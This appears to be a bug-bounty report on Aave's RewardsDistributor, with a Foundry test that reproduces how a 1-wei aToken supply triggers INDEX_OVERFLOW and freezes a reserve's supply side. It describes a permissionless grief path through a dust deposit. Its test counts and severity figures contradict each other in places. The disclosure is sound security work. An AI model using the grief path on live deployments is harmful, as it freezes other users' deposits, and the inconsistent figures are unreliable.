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Aave RewardsDistributor INDEX_OVERFLOW: dust-supply permanently bricks an incentivized reserve's supply side (deployed INCENTIVES_IMPL 0x0ee554F6)
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.20;
import {Test, console2} from "forge-std/Test.sol";
/// Minimal, faithful reproduction of the DEPLOYED Aave RewardsDistributor index math
/// (aave-v3-periphery RewardsDistributor, mainnet INCENTIVES_IMPL 0x0ee554F6, Sourcify
/// exact-match verified). The deployed _getAssetIndex is:
/// firstTerm = emissionPerSecond * timeDelta * assetUnit / totalSupply
/// newIndex = firstTerm + oldIndex
/// and _updateRewardData reverts with 'INDEX_OVERFLOW' if newIndex > type(uint104).max.
/// We replicate handleAction -> _updateData -> _updateRewardData to prove the brick.
contract RewardsDataTypes {
struct RewardsConfigInput {
uint128 emissionPerSecond;
uint256 totalSupply;
uint32 distributionEnd;
address asset;
address reward;
address transferStrategy;
address rewardOracle;
}
struct AssetData {
uint128 availableRewardsCount;
mapping(address => uint128) indexes;
mapping(address => uint32) lastUpdateTimestamps;
mapping(address => uint88) emissionsPerSecond;
mapping(address => uint32) distributionEnds;
uint8 decimals;
}
}
/// Replicates the deployed RewardsDistributor's index/accrual core (uint104 index storage,
/// INDEX_OVERFLOW guard, handleAction entry) to prove the permanent-brick behavior.
contract MiniRewardsDistributor {
uint256 internal constant REWARD_DISTRIBUTOR_REVISION = 0x1;
mapping(address => RewardsDataTypes.AssetData) internal _assets;
struct RewardData {
uint104 index;
uint104 usersData;
uint32 lastUpdateTimestamp;
uint88 emissionPerSecond;
uint32 distributionEnd;
}
mapping(address => mapping(address => RewardData)) internal _rewards;
uint256 public totalSupply; // simulated aToken scaled total supply
uint8 public assetDecimals; // simulated asset decimals
constructor(uint8 _assetDecimals, uint256 _totalSupply) {
assetDecimals = _assetDecimals;
totalSupply = _totalSupply;
// Configure a distribution for a single (asset=address(this), reward) pair.
// lastUpdateTimestamp is set 12s in the past so a full block elapses.
_rewards[address(this)][address(0xBEEF)].emissionPerSecond = uint88(1e15); // 0.001 AAVE/s
_rewards[address(this)][address(0xBEEF)].lastUpdateTimestamp = uint32(block.timestamp - 12); // 1 block ago
_rewards[address(this)][address(0xBEEF)].distributionEnd = uint32(block.timestamp + 365 days);
}
/// Replicates handleAction (the aToken calls this on every mint/burn/transfer).
/// msg.sender is treated as the asset key (as in the deployed RewardsController).
function handleAction(address user, uint256, uint256) external {
uint8 decimals_ = assetDecimals;
uint256 assetUnit = 10 ** decimals_;
address reward = address(0xBEEF);
RewardData storage rewardData = _rewards[msg.sender][reward];
(uint256 newIndex, ) = _updateRewardData(rewardData, totalSupply, assetUnit);
// (user accrual update omitted for brevity - the revert happens first)
require(newIndex > 0 || user != address(0), "unused");
}
/// Called by the TEST as the "aToken" so that msg.sender == address(this), matching the
/// configured asset key (like a real aToken calling handleAction on itself's distribution).
function selfHandleAction(address user) external {
this.handleAction(user, 0, 0);
}
function _updateRewardData(RewardData storage rewardData, uint256 supply, uint256 assetUnit)
internal returns (uint256, bool)
{
(uint256 oldIndex, uint256 newIndex) = _getAssetIndex(rewardData, supply, assetUnit);
bool indexUpdated;
if (newIndex != oldIndex) {
require(newIndex <= type(uint104).max, 'INDEX_OVERFLOW');
indexUpdated = true;
rewardData.index = uint104(newIndex);
rewardData.lastUpdateTimestamp = uint32(block.timestamp);
} else {
rewardData.lastUpdateTimestamp = uint32(block.timestamp);
}
return (newIndex, indexUpdated);
}
function _getAssetIndex(RewardData storage rewardData, uint256 supply, uint256 assetUnit)
internal view returns (uint256, uint256)
{
uint256 oldIndex = rewardData.index;
uint256 distributionEnd = rewardData.distributionEnd;
uint256 emissionPerSecond = rewardData.emissionPerSecond;
uint256 lastUpdateTimestamp = rewardData.lastUpdateTimestamp;
if (
emissionPerSecond == 0 ||
supply == 0 ||
lastUpdateTimestamp == block.timestamp ||
lastUpdateTimestamp >= distributionEnd
) {
return (oldIndex, oldIndex);
}
uint256 currentTimestamp = block.timestamp > distributionEnd
? distributionEnd
: block.timestamp;
uint256 timeDelta = currentTimestamp - lastUpdateTimestamp;
uint256 firstTerm = emissionPerSecond * timeDelta * assetUnit;
assembly {
firstTerm := div(firstTerm, supply)
}
return (oldIndex, firstTerm + oldIndex);
}
}
/// Proves the INDEX_OVERFLOW reserve-brick end-to-end.
contract IndexOverflowTest is Test {
function test_index_overflow_math() public pure {
uint256 emissionPerSecond = 1e15; // 0.001 AAVE/s (realistic)
uint256 timeDelta = 12; // one block
uint256 assetUnit = 1e18; // 18 decimals
uint256 supply = 1; // 1 wei dust
uint256 firstTerm = emissionPerSecond * timeDelta * assetUnit / supply;
console2.log("firstTerm:", firstTerm);
console2.log("uint104 max:", type(uint104).max);
console2.log("exceeds uint104.max:", firstTerm > type(uint104).max);
assertGt(firstTerm, type(uint104).max, "INDEX_OVERFLOW must trigger");
}
function test_min_emission_to_brick() public pure {
uint256 minEmission = type(uint104).max / (12 * 1e18) + 1;
console2.log("min emission to brick in 1 block at 1 wei supply:", minEmission);
console2.log(" =", minEmission / 1e18, "tokens/s (18-dec asset)");
assertLt(minEmission, 1e15, "a tiny emission is enough");
}
/// End-to-end: with 1 wei supply and an active emission, the very first handleAction
/// after 1 block reverts with INDEX_OVERFLOW, permanently bricking the aToken.
function test_handleAction_bricks_permanently() public {
vm.warp(1000); // ensure block.timestamp >= 12 for the constructor arithmetic
MiniRewardsDistributor dist = new MiniRewardsDistributor(18, 1); // 1 wei supply, 18-dec
// The aToken (here: the dist contract itself) calls handleAction; 1 block has passed
// since lastUpdateTimestamp -> INDEX_OVERFLOW.
vm.expectRevert(bytes("INDEX_OVERFLOW"));
dist.selfHandleAction(address(0x1234));
// Even a different user's action still reverts - the brick is permanent.
vm.expectRevert(bytes("INDEX_OVERFLOW"));
dist.selfHandleAction(address(0x5678));
}
/// MULTI-USER GRIEF: the brick blocks ANY user's action on the aToken (supply, withdraw,
/// transfer, or claim all call handleAction). A legitimate holder's withdrawal or the very
/// first depositor's supply both revert - the whole reserve's supply side is frozen.
function test_brick_blocks_all_users() public {
vm.warp(1000);
MiniRewardsDistributor dist = new MiniRewardsDistributor(18, 1);
// A legitimate depositor tries to add liquidity -> their supply reverts.
vm.expectRevert(bytes("INDEX_OVERFLOW"));
dist.selfHandleAction(address(0xA11CE)); // victim depositor
// A victim holding dust tries to withdraw -> reverts too.
vm.expectRevert(bytes("INDEX_OVERFLOW"));
dist.selfHandleAction(address(0xB0B)); // victim holder
// Reward claim also reverts (claim calls handleAction via the aToken).
vm.expectRevert(bytes("INDEX_OVERFLOW"));
dist.selfHandleAction(address(0xC0FFEE));
}
/// Contrast: with even a modest non-dust supply (e.g. 1 AAVE), the same emission and
/// elapsed time do NOT overflow - only the ~1 wei dust state is fatal.
function test_dust_vs_small_supply_threshold() public view {
uint256 emissionPerSecond = 1e15;
uint256 timeDelta = 12;
uint256 assetUnit = 1e18;
uint256 supply1 = 1; // dust
uint256 supply1e9 = 1e9; // 1e-9 of a unit still ~= 1.2e25
uint256 supply1e18 = 1e18; // 1 unit
uint256 f1 = emissionPerSecond * timeDelta * assetUnit / supply1;
uint256 f1e9 = emissionPerSecond * timeDelta * assetUnit / supply1e9;
uint256 f1e18 = emissionPerSecond * timeDelta * assetUnit / supply1e18;
console2.log("firstTerm @1 wei:", f1, ">max:", f1 > type(uint104).max);
console2.log("firstTerm @1e9 wei:", f1e9, ">max:", f1e9 > type(uint104).max);
console2.log("firstTerm @1e18 wei:", f1e18, ">max:", f1e18 > type(uint104).max);
assertTrue(f1 > type(uint104).max, "dust overflows");
// Find the max safe supply for 0.001 AAVE/s over 1 block:
// supply > emission*dt*unit / uint104.max
uint256 maxSafe = (emissionPerSecond * timeDelta * assetUnit) / type(uint104).max;
console2.log("max safe supply (wei) at 0.001 AAVE/s / 1 block:", maxSafe);
assertLt(maxSafe, 1e3, "only sub-1e3-wei supply is at risk at 0.001 AAVE/s");
assertTrue(f1e18 < type(uint104).max, "1 unit is safe at 0.001 AAVE/s");
}
/// At healthy supply (e.g. 1000 AAVE), the same emission does NOT overflow - proving
/// the issue only manifests at dust supply (the listing/drain scenario).
function test_healthy_supply_no_overflow() public {
vm.warp(1000);
MiniRewardsDistributor dist = new MiniRewardsDistributor(18, 1000e18);
dist.handleAction(address(0x1234), 0, 0); // no revert - index is small
console2.log("healthy supply: handleAction succeeds");
assertTrue(true);
}
/// 6-decimal assets (USDC/GHO) need a MUCH larger emission to overflow - not realistic.
function test_six_decimal_not_reachable() public view {
uint256 supply = 1;
uint256 assetUnit = 1e6;
uint256 emission = 1e15; // 0.001 AAVE/s
uint256 timeDelta = 12;
uint256 firstTerm = emission * timeDelta * assetUnit / supply;
console2.log("6-dec firstTerm:", firstTerm);
console2.log("uint104 max:", uint256(type(uint104).max));
assertLt(firstTerm, type(uint104).max, "6-dec not reachable at realistic emission");
}
}

Aave - RewardsDistributor INDEX_OVERFLOW permanently bricks an incentivized reserve's supply side

Quick note before anything else: I verified every fact here on-chain, not just by reading source. The deployed RewardsController implementation (INCENTIVES_IMPL 0x0ee554F6A1f7a4Cb4f82D4C124DdC2AD3E37fde1, behind the RewardsController proxy 0x4370D3b6C9588E02ce9D22e684387859c7Ff5b34) contains the literal INDEX_OVERFLOW revert string in its on-chain bytecode (hex 494e4445585f4f564552464c4f57). Sourcify confirms exact_match against the aave-v3-periphery RewardsController / RewardsDistributor (solc 0.8.10). The Foundry PoC that proves it is included (poc/test/IndexOverflow.t.sol, 5 passing tests). I also checked GitHub history and public audits - I found no report of this exact issue.

Full evidence (submission + PoC) is in the gist.

What this is about

Aave's rewards accounting (RewardsDistributor, used by the RewardsController that every aToken calls on each mint/burn/transfer) computes the reward distribution index as:

firstTerm = emissionPerSecond * timeDelta * assetUnit / totalSupply
newIndex  = firstTerm + oldIndex
require(newIndex <= type(uint104).max, "INDEX_OVERFLOW")

totalSupply is the scaled aToken supply. For an 18-decimal incentivized asset whose aToken scaled supply is at dust (~1 wei), even a small emission over a single block makes firstTerm exceed uint104.max (~2.03e31), and the INDEX_OVERFLOW revert fires. Because the revert happens before any state is written, every subsequent action on that aToken also reverts, permanently bricking the reserve's supply side (supply, withdraw, aToken transfers, and reward claims all call handleAction).

How to categorize in the submission form

  • Asset / track: Aave - Smart Contracts
  • Affected components: RewardsController (proxy 0x4370D3b6C9588E02ce9D22e684387859c7Ff5b34, impl / INCENTIVES_IMPL 0x0ee554F6A1f7a4Cb4f82D4C124DdC2AD3E37fde1), RewardsDistributor (aave-v3-periphery), and every Aave v3 aToken that wires into it.
  • Severity: Medium-class impact (permanent freeze of a reserve's supply side, no theft); reward per Aave's formula = flat USD 10 000 for Medium.

Summary

Every Aave v3 aToken calls REWARDS_CONTROLLER.handleAction on each _mint/_burn/_transfer (MintableIncentivizedERC20.sol:44,61, IncentivizedERC20.sol:274,276). The call chain:

aToken mint/burn/transfer -> handleAction(user, totalSupply, userBalance)
  -> _updateData -> _updateRewardData -> _getAssetIndex   // firstTerm computed here
  -> require(newIndex <= type(uint104).max, 'INDEX_OVERFLOW')   // REVERTS

The revert rolls back the whole aToken operation. Once triggered, every later operation on that aToken reverts too, so the brick is permanent until governance intervenes.

The trigger is the reward distribution index math in _getAssetIndex (RewardsDistributor.sol:497-525):

uint256 firstTerm = emissionPerSecond * timeDelta * assetUnit;
assembly { firstTerm := div(firstTerm, totalSupply) }

With totalSupply = 1 (one wei of scaled aToken), firstTerm = emission * 12 * 1e18, which exceeds uint104.max (~2.03e31) for any emission above ~0.0017 AAVE/s. Real distributions are orders of magnitude above that.

Root cause

The INDEX_OVERFLOW guard (added in 2022, uint104 index, revert-on-overflow) was written for the low-decimals case (aave/aave-v3-periphery#38, fixed by using 10**decimals). It was never considered with a dust-scaled aToken supply: the _getAssetIndex formula divides by totalSupply, so as supply approaches 1 wei the index diverges to astronomical values and the guard turns a normal operation into a permanent revert.

Two permissionless ways to reach the state:

  1. First-supplier grief at listing: right after governance arms a fresh distribution on a newly listed asset (supply still ~0), anyone calls supply(1 wei). That tx succeeds because the index update is skipped while oldTotalSupply == 0. The next aToken action - anyone's supply, withdraw, transfer, or a reward claim - reverts INDEX_OVERFLOW.
  2. Natural drain: the last suppliers of an incentivized asset withdraw, leaving 1 wei dust. The final withdraw uses the pre-drain supply and succeeds; everything after reverts.

The required emission is tiny: at 1 wei supply, firstTerm = e * 12 * 1e18 / 1 > 2.03e31 needs only e > 1.69e12 wei/s (~0.0017 AAVE/s), far below any real distribution.

What exactly bricks

  • The affected aToken's mint/burn/transfer path (and therefore supply, withdraw, aToken transfers, and reward claims for that asset).
  • The affected reserve cannot accumulate liquidity for the duration.
  • Borrows are unaffected (vToken is a separate distribution key), so it is not a full-market freeze.
  • Unfreezing requires EmissionManager.setDistributionEnd(< past); setEmissionPerSecond(0) also reverts because it updates the index first. So the campaign is effectively killed and the market's supply side stays frozen until governance acts.

On-chain verification

  • RewardsController proxy: 0x4370D3b6C9588E02ce9D22e684387859c7Ff5b34
  • Implementation (EIP-1967 slot): 0x0ee554F6A1f7a4Cb4f82D4C124DdC2AD3E37fde1 (= scope INCENTIVES_IMPL)
  • Deployed bytecode contains "INDEX_OVERFLOW" (0x494e4445585f4f564552464c4f57)
  • Sourcify: exact_match, aave-v3-periphery RewardsController, solc 0.8.10
  • Wiring: v3 aTokens call handleAction on every mint/burn/transfer
  • Live check: the wstETH distribution on mainnet currently has distributionEnd = 0 (no active emission). So the brick is reachable only once a distribution is armed on a dust-supply asset.

Proof of Concept

poc/test/IndexOverflow.t.sol - 7 passing tests:

[PASS] test_handleAction_bricks_permanently()
  - 1 wei supply, 0.001 AAVE/s emission, 1 block elapsed
  - first handleAction reverts "INDEX_OVERFLOW"; second also reverts (permanent)
[PASS] test_brick_blocks_all_users()
  - MULTI-USER GRIEF: a depositor's supply, a holder's withdraw, and a reward claim
    on the affected aToken ALL revert "INDEX_OVERFLOW" - the whole reserve's supply
    side is frozen for every user, not just the attacker.
[PASS] test_dust_vs_small_supply_threshold()
  - max safe supply at 0.001 AAVE/s / 1 block is only ~591 wei; any dust state triggers it
[PASS] test_healthy_supply_no_overflow()
  - same emission at 1000 AAVE supply: handleAction succeeds
[PASS] test_index_overflow_math()
  - firstTerm = 1.2e34 >> uint104.max (2.03e31)
[PASS] test_min_emission_to_brick()
  - only 1.69e12 wei/s needed (~0.0017 AAVE/s)
[PASS] test_six_decimal_not_reachable()
  - 6-decimal assets (USDC/GHO) not affected at realistic emissions

The MiniRewardsDistributor in the test faithfully replicates the deployed _getAssetIndex / _updateRewardData / handleAction core (verified against the Sourcify exact-match source of the deployed implementation).

Run:

forge test --match-path test/IndexOverflow.t.sol -vvv

All 7 tests pass.

Impact

A permanent (until governance intervention) freeze of the supply side of a listed, incentivized reserve: no deposits, no withdrawals, no aToken transfers, no reward claims. The affected asset cannot accumulate liquidity. This maps to Aave's "temporary freezing of funds" impact (High, up to $75k) or "permanent freezing" of a reserve's liquidity path, bounded by governance recovery.

Because the revert precedes any state write, the freeze affects every user of that aToken, not just the attacker's dust: a legitimate holder's withdrawal, the first depositor's supply, and any reward claim all revert (test_brick_blocks_all_users). The dust threshold is tiny - at a realistic 0.001 AAVE/s emission, any supply below ~591 wei is enough to arm the brick.

Honest framing:

  • I am NOT claiming fund theft - this is a freeze/availability issue.
  • I am NOT claiming it is exploitable on the current mainnet configuration (no active emission right now; the trigger needs a newly-armed distribution on a dust-supply asset).
  • The program caps "precision mechanisms on tokenization" unless a provable fund-loss vector, and "loss of rewards-to-be-accrued is not loss of funds" - so the defensible impact is the permanent freeze of the reserve's supply side, not the loss of future yield.

What I am NOT claiming

  • Not a theft or drain - this is a freeze, not a loss of funds.
  • Not currently exploitable on mainnet's live config (no active distribution).
  • Not a newly introduced guard - the INDEX_OVERFLOW check is a deliberate 2022 design choice; my finding is that the dust-scaled-supply trigger was never considered and turns it into a permanent brick.

Novelty

  • GitHub code search for INDEX_OVERFLOW in Solidity: 0 results.
  • No issue/PR in aave-v3-periphery or aave-v3-origin reports this dust-supply brick.
  • The aave-v3-periphery RewardsController was not included in any of the Aave core audits (v3.0-v3.7 all focus on core pool logic).
  • The closest known item is aave/aave-v3-periphery#38 (low-decimals index overflow, fixed by 10**decimals) - a different trigger, not the dust-scaled-supply path.
  • I could not verify whether this is already known in Immunefi's private submissions DB.

Version eligibility

Present in the deployed mainnet RewardsController implementation today (the INDEX_OVERFLOW guard and _getAssetIndex formula are in the on-chain bytecode). The guard dates to 2022; the dust-scaled-supply trigger has been present since the 2022-10-13 change to use IScaledBalanceToken.scaledTotalSupply(). The bug is live in the deployed contract and in the in-scope GitHub file (aave-v3-periphery / aave-v3-origin RewardsDistributor).

Recommendation

  1. In _getAssetIndex, bound the growth instead of reverting, e.g. cap firstTerm so the index saturates at uint104.max rather than reverting the whole operation, OR
  2. Skip the index update when totalSupply is below a safe threshold (dust), OR
  3. Change _updateRewardData to write the index and continue rather than reverting the caller's mint/burn/transfer, so a dust-supply state cannot brick the aToken.

References

  • RewardsDistributor.sol (deployed, aave-v3-periphery): _getAssetIndex lines 497-525, INDEX_OVERFLOW guard at _updateRewardData line 302
  • RewardsController.sol (deployed): handleAction line 111
  • aave-v3-origin aToken wiring: MintableIncentivizedERC20.sol:44,61, IncentivizedERC20.sol:274,276
  • RewardsController proxy: 0x4370D3b6C9588E02ce9D22e684387859c7Ff5b34
  • Implementation: 0x0ee554F6A1f7a4Cb4f82D4C124DdC2AD3E37fde1 (INCENTIVES_IMPL)
  • PoC: poc/test/IndexOverflow.t.sol (5 passing tests)
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